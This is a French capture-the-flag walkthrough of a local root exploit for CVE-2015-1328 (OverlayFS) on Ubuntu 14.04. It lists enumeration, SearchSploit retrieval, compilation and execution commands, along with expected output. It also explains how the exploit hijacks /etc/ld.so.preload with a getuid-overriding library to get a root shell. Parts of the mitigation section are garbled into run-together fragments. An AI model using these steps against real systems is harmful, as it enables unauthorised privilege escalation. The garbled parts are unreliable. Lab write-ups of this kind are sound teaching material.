
Procédure pas à pas pour exploiter CVE-2015-1328 (OverlayFS) afin d'élever les privilèges d'un utilisateur à faibles privilèges à root sur Ubuntu 14.04. Comprend l'énumération, la compilation et l'exécution de l'exploit.
L'objectif de cette procédure pas à pas était d'élever les privilèges d'un utilisateur à faibles privilèges (karen) jusqu'à root en exploitant un noyau Linux vulnérable.
Après connexion à la machine cible via SSH :
ssh karen@<target-ip>
J'ai identifié la version du noyau Linux :
uname -r
Sortie :
3.13.0-24-generic
La machine exécutait Ubuntu 14.04 avec le noyau 3.13.0-24-generic.
Comme l'élévation de privilèges sous Linux repose souvent sur des noyaux vulnérables, j'ai effectué une recherche dans Exploit-DB à l'aide de SearchSploit :
searchsploit overlayfs ubuntu 3.13
Résultat :
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Cet exploit cible CVE-2015-1328, qui affecte les noyaux Ubuntu antérieurs aux versions corrigées.
Avant d'exécuter un exploit, il est important de comprendre ce qu'il fait.
L'exploit tire parti d'une faille dans OverlayFS, le système de fichiers union de Linux.
La vulnérabilité existe parce qu'OverlayFS gère incorrectement les permissions des fichiers lorsqu'il est monté dans un espace de noms utilisateur (CLONE_NEWUSER).
Un utilisateur sans privilèges peut manipuler OverlayFS pour créer ou modifier des fichiers qui ne devraient être accessibles en écriture que par root.
L'exploit écrit finalement dans :
/etc/ld.so.preload
Ce fichier indique au chargeur dynamique de Linux de charger une bibliothèque partagée avant chaque exécutable à liaison dynamique.
En forçant le système à charger une bibliothèque partagée malveillante, l'exploit obtient une exécution de code en tant que root.
À l'aide de SearchSploit :
searchsploit -m 37292
Ceci a copié l'exploit localement :
37292.c
L'exploit a ensuite été transféré sur la machine victime.
Dans cette procédure pas à pas, il a été enregistré sous :
/tmp/ofs.c
Placez-vous dans le répertoire contenant l'exploit :
cd /tmp
Compilez-le avec GCC :
gcc ofs.c -o ofs
Si la compilation réussit, GCC ne produit aucune sortie.
Vérifiez que l'exécutable existe :
ls -l
Résultat attendu :
-rwxr-xr-x ... ofs
Exécutez l'exécutable :
./ofs
L'exploit affiche des messages similaires à :
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Enfin, il lance un shell root :
#
Vérifiez les privilèges :
id
Sortie :
uid=0(root) gid=0(root)
Une fois les privilèges root obtenus :
cat /home/matt/flag1.txt
Le fichier pouvait désormais être lu avec succès.
L'exploit effectue plusieurs actions en interne.
unshare(CLONE_NEWUSER);
Les espaces de noms utilisateur Linux permettent à un processus sans privilèges d'apparaître comme root à l'intérieur de l'espace de noms, sans être root sur l'hôte.
Cette capacité est essentielle pour l'attaque.
clone(... CLONE_NEWNS ...)
Un espace de noms de montage séparé isole les modifications du système de fichiers du reste du système d'exploitation.
Cela permet à l'exploit de monter OverlayFS sans affecter le système de fichiers global.
L'exploit crée des répertoires temporaires :
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Il monte ensuite OverlayFS :
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
En raison de la vulnérabilité du noyau, OverlayFS autorise incorrectement des opérations qui devraient nécessiter des privilèges root.
/etc/ld.so.preloadL'exploit renomme un fichier accessible en écriture dans le montage OverlayFS en :
ld.so.preload
Après avoir remonté OverlayFS sur /etc, ce fichier devient :
/etc/ld.so.preload
Normalement, seul root devrait pouvoir créer ce fichier.
L'exploit écrit un fichier source C :
/tmp/ofs-lib.c
Puis le compile :
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
La bibliothèque partagée obtenue remplace la fonction getuid().
L'exploit écrit :
/tmp/ofs-lib.so
dans :
/etc/ld.so.preload
Chaque exécutable à liaison dynamique charge désormais cette bibliothèque malveillante avant toute bibliothèque système.
/bin/suEnfin :
execl("/bin/su", "su", NULL);
Lorsque su démarre, la fonction malveillante getuid() s'exécute à la place de la fonction d'origine.
La bibliothèque :
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
Le résultat est un shell root interactif.
La vulnérabilité est causée par une gestion incorrecte des permissions dans OverlayFS lorsqu'il est utilisé dans des espaces de noms utilisateur.
Un utilisateur sans privilèges peut manipuler OverlayFS pour créer des fichiers privilégiés tels que :
/etc/ld.so.preload
Comme le chargeur dynamique fait confiance à ce fichier, du code arbitraire est exécuté en tant que root.
Cette vulnérabilité a été corrigée par Ubuntu dans les versions mises à jour du noyau.
Les stratégies d'atténuation incluent :
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt